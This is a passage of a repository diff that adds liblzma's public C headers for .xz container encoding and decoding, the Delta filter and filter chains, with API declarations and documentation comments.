extern LZMA_API(lzma_check) lzma_get_check(const lzma_stream *strm)
lzma_nothrow;

View File

@ -0,0 +1,632 @@
/**
* \file lzma/container.h
* \brief File formats
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/************
* Encoding *
************/
/**
* \brief Default compression preset
*
* It's not straightforward to recommend a default preset, because in some
* cases keeping the resource usage relatively low is more important that
* getting the maximum compression ratio.
*/
#define LZMA_PRESET_DEFAULT UINT32_C(6)
/**
* \brief Mask for preset level
*
* This is useful only if you need to extract the level from the preset
* variable. That should be rare.
*/
#define LZMA_PRESET_LEVEL_MASK UINT32_C(0x1F)
/*
* Preset flags
*
* Currently only one flag is defined.
*/
/**
* \brief Extreme compression preset
*
* This flag modifies the preset to make the encoding significantly slower
* while improving the compression ratio only marginally. This is useful
* when you don't mind wasting time to get as small result as possible.
*
* This flag doesn't affect the memory usage requirements of the decoder (at
* least not significantly). The memory usage of the encoder may be increased
* a little but only at the lowest preset levels (0-3).
*/
#define LZMA_PRESET_EXTREME (UINT32_C(1) << 31)
/**
* \brief Multithreading options
*/
typedef struct {
/**
* \brief Flags
*
* Set this to zero if no flags are wanted.
*
* No flags are currently supported.
*/
uint32_t flags;
/**
* \brief Number of worker threads to use
*/
uint32_t threads;
/**
* \brief Maximum uncompressed size of a Block
*
* The encoder will start a new .xz Block every block_size bytes.
* Using LZMA_FULL_FLUSH or LZMA_FULL_BARRIER with lzma_code()
* the caller may tell liblzma to start a new Block earlier.
*
* With LZMA2, a recommended block size is 2-4 times the LZMA2
* dictionary size. With very small dictionaries, it is recommended
* to use at least 1 MiB block size for good compression ratio, even
* if this is more than four times the dictionary size. Note that
* these are only recommendations for typical use cases; feel free
* to use other values. Just keep in mind that using a block size
* less than the LZMA2 dictionary size is waste of RAM.
*
* Set this to 0 to let liblzma choose the block size depending
* on the compression options. For LZMA2 it will be 3*dict_size
* or 1 MiB, whichever is more.
*
* For each thread, about 3 * block_size bytes of memory will be
* allocated. This may change in later liblzma versions. If so,
* the memory usage will probably be reduced, not increased.
*/
uint64_t block_size;
/**
* \brief Timeout to allow lzma_code() to return early
*
* Multithreading can make liblzma to consume input and produce
* output in a very bursty way: it may first read a lot of input
* to fill internal buffers, then no input or output occurs for
* a while.
*
* In single-threaded mode, lzma_code() won't return until it has
* either consumed all the input or filled the output buffer. If
* this is done in multithreaded mode, it may cause a call
* lzma_code() to take even tens of seconds, which isn't acceptable
* in all applications.
*
* To avoid very long blocking times in lzma_code(), a timeout
* (in milliseconds) may be set here. If lzma_code() would block
* longer than this number of milliseconds, it will return with
* LZMA_OK. Reasonable values are 100 ms or more. The xz command
* line tool uses 300 ms.
*
* If long blocking times are fine for you, set timeout to a special
* value of 0, which will disable the timeout mechanism and will make
* lzma_code() block until all the input is consumed or the output
* buffer has been filled.
*
* \note Even with a timeout, lzma_code() might sometimes take
* somewhat long time to return. No timing guarantees
* are made.
*/
uint32_t timeout;
/**
* \brief Compression preset (level and possible flags)
*
* The preset is set just like with lzma_easy_encoder().
* The preset is ignored if filters below is non-NULL.
*/
uint32_t preset;
/**
* \brief Filter chain (alternative to a preset)
*
* If this is NULL, the preset above is used. Otherwise the preset
* is ignored and the filter chain specified here is used.
*/
const lzma_filter *filters;
/**
* \brief Integrity check type
*
* See check.h for available checks. The xz command line tool
* defaults to LZMA_CHECK_CRC64, which is a good choice if you
* are unsure.
*/
lzma_check check;
/*
* Reserved space to allow possible future extensions without
* breaking the ABI. You should not touch these, because the names
* of these variables may change. These are and will never be used
* with the currently supported options, so it is safe to leave these
* uninitialized.
*/
lzma_reserved_enum reserved_enum1;
lzma_reserved_enum reserved_enum2;
lzma_reserved_enum reserved_enum3;
uint32_t reserved_int1;
uint32_t reserved_int2;
uint32_t reserved_int3;
uint32_t reserved_int4;
uint64_t reserved_int5;
uint64_t reserved_int6;
uint64_t reserved_int7;
uint64_t reserved_int8;
void *reserved_ptr1;
void *reserved_ptr2;
void *reserved_ptr3;
void *reserved_ptr4;
} lzma_mt;
/**
* \brief Calculate approximate memory usage of easy encoder
*
* This function is a wrapper for lzma_raw_encoder_memusage().
*
* \param preset Compression preset (level and possible flags)
*
* \return Number of bytes of memory required for the given
* preset when encoding. If an error occurs, for example
* due to unsupported preset, UINT64_MAX is returned.
*/
extern LZMA_API(uint64_t) lzma_easy_encoder_memusage(uint32_t preset)
lzma_nothrow lzma_attr_pure;
/**
* \brief Calculate approximate decoder memory usage of a preset
*
* This function is a wrapper for lzma_raw_decoder_memusage().
*
* \param preset Compression preset (level and possible flags)
*
* \return Number of bytes of memory required to decompress a file
* that was compressed using the given preset. If an error
* occurs, for example due to unsupported preset, UINT64_MAX
* is returned.
*/
extern LZMA_API(uint64_t) lzma_easy_decoder_memusage(uint32_t preset)
lzma_nothrow lzma_attr_pure;
/**
* \brief Initialize .xz Stream encoder using a preset number
*
* This function is intended for those who just want to use the basic features
* if liblzma (that is, most developers out there).
*
* \param strm Pointer to lzma_stream that is at least initialized
* with LZMA_STREAM_INIT.
* \param preset Compression preset to use. A preset consist of level
* number and zero or more flags. Usually flags aren't
* used, so preset is simply a number [0, 9] which match
* the options -0 ... -9 of the xz command line tool.
* Additional flags can be be set using bitwise-or with
* the preset level number, e.g. 6 | LZMA_PRESET_EXTREME.
* \param check Integrity check type to use. See check.h for available
* checks. The xz command line tool defaults to
* LZMA_CHECK_CRC64, which is a good choice if you are
* unsure. LZMA_CHECK_CRC32 is good too as long as the
* uncompressed file is not many gigabytes.
*
* \return - LZMA_OK: Initialization succeeded. Use lzma_code() to
* encode your data.
* - LZMA_MEM_ERROR: Memory allocation failed.
* - LZMA_OPTIONS_ERROR: The given compression preset is not
* supported by this build of liblzma.
* - LZMA_UNSUPPORTED_CHECK: The given check type is not
* supported by this liblzma build.
* - LZMA_PROG_ERROR: One or more of the parameters have values
* that will never be valid. For example, strm == NULL.
*
* If initialization fails (return value is not LZMA_OK), all the memory
* allocated for *strm by liblzma is always freed. Thus, there is no need
* to call lzma_end() after failed initialization.
*
* If initialization succeeds, use lzma_code() to do the actual encoding.
* Valid values for `action' (the second argument of lzma_code()) are
* LZMA_RUN, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, and LZMA_FINISH. In future,
* there may be compression levels or flags that don't support LZMA_SYNC_FLUSH.
*/
extern LZMA_API(lzma_ret) lzma_easy_encoder(
lzma_stream *strm, uint32_t preset, lzma_check check)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Single-call .xz Stream encoding using a preset number
*
* The maximum required output buffer size can be calculated with
* lzma_stream_buffer_bound().
*
* \param preset Compression preset to use. See the description
* in lzma_easy_encoder().
* \param check Type of the integrity check to calculate from
* uncompressed data.
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() and free().
* \param in Beginning of the input buffer
* \param in_size Size of the input buffer
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if encoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_BUF_ERROR: Not enough output buffer space.
* - LZMA_UNSUPPORTED_CHECK
* - LZMA_OPTIONS_ERROR
* - LZMA_MEM_ERROR
* - LZMA_DATA_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_easy_buffer_encode(
uint32_t preset, lzma_check check,
const lzma_allocator *allocator,
const uint8_t *in, size_t in_size,
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
/**
* \brief Initialize .xz Stream encoder using a custom filter chain
*
* \param strm Pointer to properly prepared lzma_stream
* \param filters Array of filters. This must be terminated with
* filters[n].id = LZMA_VLI_UNKNOWN. See filter.h for
* more information.
* \param check Type of the integrity check to calculate from
* uncompressed data.
*
* \return - LZMA_OK: Initialization was successful.
* - LZMA_MEM_ERROR
* - LZMA_UNSUPPORTED_CHECK
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_stream_encoder(lzma_stream *strm,
const lzma_filter *filters, lzma_check check)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Calculate approximate memory usage of multithreaded .xz encoder
*
* Since doing the encoding in threaded mode doesn't affect the memory
* requirements of single-threaded decompressor, you can use
* lzma_easy_decoder_memusage(options->preset) or
* lzma_raw_decoder_memusage(options->filters) to calculate
* the decompressor memory requirements.
*
* \param options Compression options
*
* \return Number of bytes of memory required for encoding with the
* given options. If an error occurs, for example due to
* unsupported preset or filter chain, UINT64_MAX is returned.
*/
extern LZMA_API(uint64_t) lzma_stream_encoder_mt_memusage(
const lzma_mt *options) lzma_nothrow lzma_attr_pure;
/**
* \brief Initialize multithreaded .xz Stream encoder
*
* This provides the functionality of lzma_easy_encoder() and
* lzma_stream_encoder() as a single function for multithreaded use.
*
* The supported actions for lzma_code() are LZMA_RUN, LZMA_FULL_FLUSH,
* LZMA_FULL_BARRIER, and LZMA_FINISH. Support for LZMA_SYNC_FLUSH might be
* added in the future.
*
* \param strm Pointer to properly prepared lzma_stream
* \param options Pointer to multithreaded compression options
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_UNSUPPORTED_CHECK
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_stream_encoder_mt(
lzma_stream *strm, const lzma_mt *options)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Initialize .lzma encoder (legacy file format)
*
* The .lzma format is sometimes called the LZMA_Alone format, which is the
* reason for the name of this function. The .lzma format supports only the
* LZMA1 filter. There is no support for integrity checks like CRC32.
*
* Use this function if and only if you need to create files readable by
* legacy LZMA tools such as LZMA Utils 4.32.x. Moving to the .xz format
* is strongly recommended.
*
* The valid action values for lzma_code() are LZMA_RUN and LZMA_FINISH.
* No kind of flushing is supported, because the file format doesn't make
* it possible.
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_alone_encoder(
lzma_stream *strm, const lzma_options_lzma *options)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Calculate output buffer size for single-call Stream encoder
*
* When trying to compress uncompressible data, the encoded size will be
* slightly bigger than the input data. This function calculates how much
* output buffer space is required to be sure that lzma_stream_buffer_encode()
* doesn't return LZMA_BUF_ERROR.
*
* The calculated value is not exact, but it is guaranteed to be big enough.
* The actual maximum output space required may be slightly smaller (up to
* about 100 bytes). This should not be a problem in practice.
*
* If the calculated maximum size doesn't fit into size_t or would make the
* Stream grow past LZMA_VLI_MAX (which should never happen in practice),
* zero is returned to indicate the error.
*
* \note The limit calculated by this function applies only to
* single-call encoding. Multi-call encoding may (and probably
* will) have larger maximum expansion when encoding
* uncompressible data. Currently there is no function to
* calculate the maximum expansion of multi-call encoding.
*/
extern LZMA_API(size_t) lzma_stream_buffer_bound(size_t uncompressed_size)
lzma_nothrow;
/**
* \brief Single-call .xz Stream encoder
*
* \param filters Array of filters. This must be terminated with
* filters[n].id = LZMA_VLI_UNKNOWN. See filter.h
* for more information.
* \param check Type of the integrity check to calculate from
* uncompressed data.
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() and free().
* \param in Beginning of the input buffer
* \param in_size Size of the input buffer
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if encoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_BUF_ERROR: Not enough output buffer space.
* - LZMA_UNSUPPORTED_CHECK
* - LZMA_OPTIONS_ERROR
* - LZMA_MEM_ERROR
* - LZMA_DATA_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_stream_buffer_encode(
lzma_filter *filters, lzma_check check,
const lzma_allocator *allocator,
const uint8_t *in, size_t in_size,
uint8_t *out, size_t *out_pos, size_t out_size)
lzma_nothrow lzma_attr_warn_unused_result;
/************
* Decoding *
************/
/**
* This flag makes lzma_code() return LZMA_NO_CHECK if the input stream
* being decoded has no integrity check. Note that when used with
* lzma_auto_decoder(), all .lzma files will trigger LZMA_NO_CHECK
* if LZMA_TELL_NO_CHECK is used.
*/
#define LZMA_TELL_NO_CHECK UINT32_C(0x01)
/**
* This flag makes lzma_code() return LZMA_UNSUPPORTED_CHECK if the input
* stream has an integrity check, but the type of the integrity check is not
* supported by this liblzma version or build. Such files can still be
* decoded, but the integrity check cannot be verified.
*/
#define LZMA_TELL_UNSUPPORTED_CHECK UINT32_C(0x02)
/**
* This flag makes lzma_code() return LZMA_GET_CHECK as soon as the type
* of the integrity check is known. The type can then be got with
* lzma_get_check().
*/
#define LZMA_TELL_ANY_CHECK UINT32_C(0x04)
/**
* This flag makes lzma_code() not calculate and verify the integrity check
* of the compressed data in .xz files. This means that invalid integrity
* check values won't be detected and LZMA_DATA_ERROR won't be returned in
* such cases.
*
* This flag only affects the checks of the compressed data itself; the CRC32
* values in the .xz headers will still be verified normally.
*
* Don't use this flag unless you know what you are doing. Possible reasons
* to use this flag:
*
* - Trying to recover data from a corrupt .xz file.
*
* - Speeding up decompression, which matters mostly with SHA-256
* or with files that have compressed extremely well. It's recommended
* to not use this flag for this purpose unless the file integrity is
* verified externally in some other way.
*
* Support for this flag was added in liblzma 5.1.4beta.
*/
#define LZMA_IGNORE_CHECK UINT32_C(0x10)
/**
* This flag enables decoding of concatenated files with file formats that
* allow concatenating compressed files as is. From the formats currently
* supported by liblzma, only the .xz format allows concatenated files.
* Concatenated files are not allowed with the legacy .lzma format.
*
* This flag also affects the usage of the `action' argument for lzma_code().
* When LZMA_CONCATENATED is used, lzma_code() won't return LZMA_STREAM_END
* unless LZMA_FINISH is used as `action'. Thus, the application has to set
* LZMA_FINISH in the same way as it does when encoding.
*
* If LZMA_CONCATENATED is not used, the decoders still accept LZMA_FINISH
* as `action' for lzma_code(), but the usage of LZMA_FINISH isn't required.
*/
#define LZMA_CONCATENATED UINT32_C(0x08)
/**
* \brief Initialize .xz Stream decoder
*
* \param strm Pointer to properly prepared lzma_stream
* \param memlimit Memory usage limit as bytes. Use UINT64_MAX
* to effectively disable the limiter. liblzma
* 5.2.3 and earlier don't allow 0 here and return
* LZMA_PROG_ERROR; later versions treat 0 as if 1
* had been specified.
* \param flags Bitwise-or of zero or more of the decoder flags:
* LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK,
* LZMA_TELL_ANY_CHECK, LZMA_CONCATENATED
*
* \return - LZMA_OK: Initialization was successful.
* - LZMA_MEM_ERROR: Cannot allocate memory.
* - LZMA_OPTIONS_ERROR: Unsupported flags
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_stream_decoder(
lzma_stream *strm, uint64_t memlimit, uint32_t flags)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Decode .xz Streams and .lzma files with autodetection
*
* This decoder autodetects between the .xz and .lzma file formats, and
* calls lzma_stream_decoder() or lzma_alone_decoder() once the type
* of the input file has been detected.
*
* \param strm Pointer to properly prepared lzma_stream
* \param memlimit Memory usage limit as bytes. Use UINT64_MAX
* to effectively disable the limiter. liblzma
* 5.2.3 and earlier don't allow 0 here and return
* LZMA_PROG_ERROR; later versions treat 0 as if 1
* had been specified.
* \param flags Bitwise-or of flags, or zero for no flags.
*
* \return - LZMA_OK: Initialization was successful.
* - LZMA_MEM_ERROR: Cannot allocate memory.
* - LZMA_OPTIONS_ERROR: Unsupported flags
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_auto_decoder(
lzma_stream *strm, uint64_t memlimit, uint32_t flags)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Initialize .lzma decoder (legacy file format)
*
* \param strm Pointer to properly prepared lzma_stream
* \param memlimit Memory usage limit as bytes. Use UINT64_MAX
* to effectively disable the limiter. liblzma
* 5.2.3 and earlier don't allow 0 here and return
* LZMA_PROG_ERROR; later versions treat 0 as if 1
* had been specified.
*
* Valid `action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH.
* There is no need to use LZMA_FINISH, but it's allowed because it may
* simplify certain types of applications.
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_alone_decoder(
lzma_stream *strm, uint64_t memlimit)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Single-call .xz Stream decoder
*
* \param memlimit Pointer to how much memory the decoder is allowed
* to allocate. The value pointed by this pointer is
* modified if and only if LZMA_MEMLIMIT_ERROR is
* returned.
* \param flags Bitwise-or of zero or more of the decoder flags:
* LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK,
* LZMA_CONCATENATED. Note that LZMA_TELL_ANY_CHECK
* is not allowed and will return LZMA_PROG_ERROR.
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() and free().
* \param in Beginning of the input buffer
* \param in_pos The next byte will be read from in[*in_pos].
* *in_pos is updated only if decoding succeeds.
* \param in_size Size of the input buffer; the first byte that
* won't be read is in[in_size].
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if decoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return - LZMA_OK: Decoding was successful.
* - LZMA_FORMAT_ERROR
* - LZMA_OPTIONS_ERROR
* - LZMA_DATA_ERROR
* - LZMA_NO_CHECK: This can be returned only if using
* the LZMA_TELL_NO_CHECK flag.
* - LZMA_UNSUPPORTED_CHECK: This can be returned only if using
* the LZMA_TELL_UNSUPPORTED_CHECK flag.
* - LZMA_MEM_ERROR
* - LZMA_MEMLIMIT_ERROR: Memory usage limit was reached.
* The minimum required memlimit value was stored to *memlimit.
* - LZMA_BUF_ERROR: Output buffer was too small.
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_stream_buffer_decode(
uint64_t *memlimit, uint32_t flags,
const lzma_allocator *allocator,
const uint8_t *in, size_t *in_pos, size_t in_size,
uint8_t *out, size_t *out_pos, size_t out_size)
lzma_nothrow lzma_attr_warn_unused_result;

77
src/include/lzma/delta.h Normal file
View File

@ -0,0 +1,77 @@
/**
* \file lzma/delta.h
* \brief Delta filter
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Filter ID
*
* Filter ID of the Delta filter. This is used as lzma_filter.id.
*/
#define LZMA_FILTER_DELTA LZMA_VLI_C(0x03)
/**
* \brief Type of the delta calculation
*
* Currently only byte-wise delta is supported. Other possible types could
* be, for example, delta of 16/32/64-bit little/big endian integers, but
* these are not currently planned since byte-wise delta is almost as good.
*/
typedef enum {
LZMA_DELTA_TYPE_BYTE
} lzma_delta_type;
/**
* \brief Options for the Delta filter
*
* These options are needed by both encoder and decoder.
*/
typedef struct {
/** For now, this must always be LZMA_DELTA_TYPE_BYTE. */
lzma_delta_type type;
/**
* \brief Delta distance
*
* With the only currently supported type, LZMA_DELTA_TYPE_BYTE,
* the distance is as bytes.
*
* Examples:
* - 16-bit stereo audio: distance = 4 bytes
* - 24-bit RGB image data: distance = 3 bytes
*/
uint32_t dist;
# define LZMA_DELTA_DIST_MIN 1
# define LZMA_DELTA_DIST_MAX 256
/*
* Reserved space to allow possible future extensions without
* breaking the ABI. You should not touch these, because the names
* of these variables may change. These are and will never be used
* when type is LZMA_DELTA_TYPE_BYTE, so it is safe to leave these
* uninitialized.
*/
uint32_t reserved_int1;
uint32_t reserved_int2;
uint32_t reserved_int3;
uint32_t reserved_int4;
void *reserved_ptr1;
void *reserved_ptr2;
} lzma_options_delta;

426
src/include/lzma/filter.h Normal file
View File

@ -0,0 +1,426 @@
/**
* \file lzma/filter.h
* \brief Common filter related types and functions
*/
/*
* Author: Lasse Collin
*
* This file has been put into the public domain.
* You can do whatever you want with this file.
*
* See ../lzma.h for information about liblzma as a whole.
*/
#ifndef LZMA_H_INTERNAL
# error Never include this file directly. Use <lzma.h> instead.
#endif
/**
* \brief Maximum number of filters in a chain
*
* A filter chain can have 1-4 filters, of which three are allowed to change
* the size of the data. Usually only one or two filters are needed.
*/
#define LZMA_FILTERS_MAX 4
/**
* \brief Filter options
*
* This structure is used to pass Filter ID and a pointer filter's
* options to liblzma. A few functions work with a single lzma_filter
* structure, while most functions expect a filter chain.
*
* A filter chain is indicated with an array of lzma_filter structures.
* The array is terminated with .id = LZMA_VLI_UNKNOWN. Thus, the filter
* array must have LZMA_FILTERS_MAX + 1 elements (that is, five) to
* be able to hold any arbitrary filter chain. This is important when
* using lzma_block_header_decode() from block.h, because too small
* array would make liblzma write past the end of the filters array.
*/
typedef struct {
/**
* \brief Filter ID
*
* Use constants whose name begin with `LZMA_FILTER_' to specify
* different filters. In an array of lzma_filter structures, use
* LZMA_VLI_UNKNOWN to indicate end of filters.
*
* \note This is not an enum, because on some systems enums
* cannot be 64-bit.
*/
lzma_vli id;
/**
* \brief Pointer to filter-specific options structure
*
* If the filter doesn't need options, set this to NULL. If id is
* set to LZMA_VLI_UNKNOWN, options is ignored, and thus
* doesn't need be initialized.
*/
void *options;
} lzma_filter;
/**
* \brief Test if the given Filter ID is supported for encoding
*
* Return true if the give Filter ID is supported for encoding by this
* liblzma build. Otherwise false is returned.
*
* There is no way to list which filters are available in this particular
* liblzma version and build. It would be useless, because the application
* couldn't know what kind of options the filter would need.
*/
extern LZMA_API(lzma_bool) lzma_filter_encoder_is_supported(lzma_vli id)
lzma_nothrow lzma_attr_const;
/**
* \brief Test if the given Filter ID is supported for decoding
*
* Return true if the give Filter ID is supported for decoding by this
* liblzma build. Otherwise false is returned.
*/
extern LZMA_API(lzma_bool) lzma_filter_decoder_is_supported(lzma_vli id)
lzma_nothrow lzma_attr_const;
/**
* \brief Copy the filters array
*
* Copy the Filter IDs and filter-specific options from src to dest.
* Up to LZMA_FILTERS_MAX filters are copied, plus the terminating
* .id == LZMA_VLI_UNKNOWN. Thus, dest should have at least
* LZMA_FILTERS_MAX + 1 elements space unless the caller knows that
* src is smaller than that.
*
* Unless the filter-specific options is NULL, the Filter ID has to be
* supported by liblzma, because liblzma needs to know the size of every
* filter-specific options structure. The filter-specific options are not
* validated. If options is NULL, any unsupported Filter IDs are copied
* without returning an error.
*
* Old filter-specific options in dest are not freed, so dest doesn't
* need to be initialized by the caller in any way.
*
* If an error occurs, memory possibly already allocated by this function
* is always freed.
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_OPTIONS_ERROR: Unsupported Filter ID and its options
* is not NULL.
* - LZMA_PROG_ERROR: src or dest is NULL.
*/
extern LZMA_API(lzma_ret) lzma_filters_copy(
const lzma_filter *src, lzma_filter *dest,
const lzma_allocator *allocator) lzma_nothrow;
/**
* \brief Calculate approximate memory requirements for raw encoder
*
* This function can be used to calculate the memory requirements for
* Block and Stream encoders too because Block and Stream encoders don't
* need significantly more memory than raw encoder.
*
* \param filters Array of filters terminated with
* .id == LZMA_VLI_UNKNOWN.
*
* \return Number of bytes of memory required for the given
* filter chain when encoding. If an error occurs,
* for example due to unsupported filter chain,
* UINT64_MAX is returned.
*/
extern LZMA_API(uint64_t) lzma_raw_encoder_memusage(const lzma_filter *filters)
lzma_nothrow lzma_attr_pure;
/**
* \brief Calculate approximate memory requirements for raw decoder
*
* This function can be used to calculate the memory requirements for
* Block and Stream decoders too because Block and Stream decoders don't
* need significantly more memory than raw decoder.
*
* \param filters Array of filters terminated with
* .id == LZMA_VLI_UNKNOWN.
*
* \return Number of bytes of memory required for the given
* filter chain when decoding. If an error occurs,
* for example due to unsupported filter chain,
* UINT64_MAX is returned.
*/
extern LZMA_API(uint64_t) lzma_raw_decoder_memusage(const lzma_filter *filters)
lzma_nothrow lzma_attr_pure;
/**
* \brief Initialize raw encoder
*
* This function may be useful when implementing custom file formats.
*
* \param strm Pointer to properly prepared lzma_stream
* \param filters Array of lzma_filter structures. The end of the
* array must be marked with .id = LZMA_VLI_UNKNOWN.
*
* The `action' with lzma_code() can be LZMA_RUN, LZMA_SYNC_FLUSH (if the
* filter chain supports it), or LZMA_FINISH.
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_raw_encoder(
lzma_stream *strm, const lzma_filter *filters)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Initialize raw decoder
*
* The initialization of raw decoder goes similarly to raw encoder.
*
* The `action' with lzma_code() can be LZMA_RUN or LZMA_FINISH. Using
* LZMA_FINISH is not required, it is supported just for convenience.
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_raw_decoder(
lzma_stream *strm, const lzma_filter *filters)
lzma_nothrow lzma_attr_warn_unused_result;
/**
* \brief Update the filter chain in the encoder
*
* This function is for advanced users only. This function has two slightly
* different purposes:
*
* - After LZMA_FULL_FLUSH when using Stream encoder: Set a new filter
* chain, which will be used starting from the next Block.
*
* - After LZMA_SYNC_FLUSH using Raw, Block, or Stream encoder: Change
* the filter-specific options in the middle of encoding. The actual
* filters in the chain (Filter IDs) cannot be changed. In the future,
* it might become possible to change the filter options without
* using LZMA_SYNC_FLUSH.
*
* While rarely useful, this function may be called also when no data has
* been compressed yet. In that case, this function will behave as if
* LZMA_FULL_FLUSH (Stream encoder) or LZMA_SYNC_FLUSH (Raw or Block
* encoder) had been used right before calling this function.
*
* \return - LZMA_OK
* - LZMA_MEM_ERROR
* - LZMA_MEMLIMIT_ERROR
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*/
extern LZMA_API(lzma_ret) lzma_filters_update(
lzma_stream *strm, const lzma_filter *filters) lzma_nothrow;
/**
* \brief Single-call raw encoder
*
* \param filters Array of lzma_filter structures. The end of the
* array must be marked with .id = LZMA_VLI_UNKNOWN.
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() and free().
* \param in Beginning of the input buffer
* \param in_size Size of the input buffer
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if encoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*
* \return - LZMA_OK: Encoding was successful.
* - LZMA_BUF_ERROR: Not enough output buffer space.
* - LZMA_OPTIONS_ERROR
* - LZMA_MEM_ERROR
* - LZMA_DATA_ERROR
* - LZMA_PROG_ERROR
*
* \note There is no function to calculate how big output buffer
* would surely be big enough. (lzma_stream_buffer_bound()
* works only for lzma_stream_buffer_encode(); raw encoder
* won't necessarily meet that bound.)
*/
extern LZMA_API(lzma_ret) lzma_raw_buffer_encode(
const lzma_filter *filters, const lzma_allocator *allocator,
const uint8_t *in, size_t in_size, uint8_t *out,
size_t *out_pos, size_t out_size) lzma_nothrow;
/**
* \brief Single-call raw decoder
*
* \param filters Array of lzma_filter structures. The end of the
* array must be marked with .id = LZMA_VLI_UNKNOWN.
* \param allocator lzma_allocator for custom allocator functions.
* Set to NULL to use malloc() and free().
* \param in Beginning of the input buffer
* \param in_pos The next byte will be read from in[*in_pos].
* *in_pos is updated only if decoding succeeds.
* \param in_size Size of the input buffer; the first byte that
* won't be read is in[in_size].
* \param out Beginning of the output buffer
* \param out_pos The next byte will be written to out[*out_pos].
* *out_pos is updated only if encoding succeeds.
* \param out_size Size of the out buffer; the first byte into
* which no data is written to is out[out_size].
*/
extern LZMA_API(lzma_ret) lzma_raw_buffer_decode(
const lzma_filter *filters, const lzma_allocator *allocator,
const uint8_t *in, size_t *in_pos, size_t in_size,
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
/**
* \brief Get the size of the Filter Properties field
*
* This function may be useful when implementing custom file formats
* using the raw encoder and decoder.
*
* \param size Pointer to uint32_t to hold the size of the properties
* \param filter Filter ID and options (the size of the properties may
* vary depending on the options)
*
* \return - LZMA_OK
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*
* \note This function validates the Filter ID, but does not
* necessarily validate the options. Thus, it is possible
* that this returns LZMA_OK while the following call to
* lzma_properties_encode() returns LZMA_OPTIONS_ERROR.
*/
extern LZMA_API(lzma_ret) lzma_properties_size(
uint32_t *size, const lzma_filter *filter) lzma_nothrow;
/**
* \brief Encode the Filter Properties field
*
* \param filter Filter ID and options
* \param props Buffer to hold the encoded options. The size of
* buffer must have been already determined with
* lzma_properties_size().
*
* \return - LZMA_OK
* - LZMA_OPTIONS_ERROR
* - LZMA_PROG_ERROR
*
* \note Even this function won't validate more options than actually
* necessary. Thus, it is possible that encoding the properties
* succeeds but using the same options to initialize the encoder
* will fail.
*
* \note If lzma_properties_size() indicated that the size
* of the Filter Properties field is zero, calling
* lzma_properties_encode() is not required, but it
* won't do any harm either.
*/
extern LZMA_API(lzma_ret) lzma_properties_encode(
const lzma_filter *filter, uint8_t *props) lzma_nothrow;
/**
* \brief Decode the Filter Properties field
*
* \param filter filter->id must have been set to the correct
* Filter ID. filter->options doesn't need to be
* initialized (it's not freed by this function). The
* decoded options will be stored in filter->options;
* it's application's responsibility to free it when
* appropriate. filter->options is set to NULL if
* there are no properties or if an error occurs.
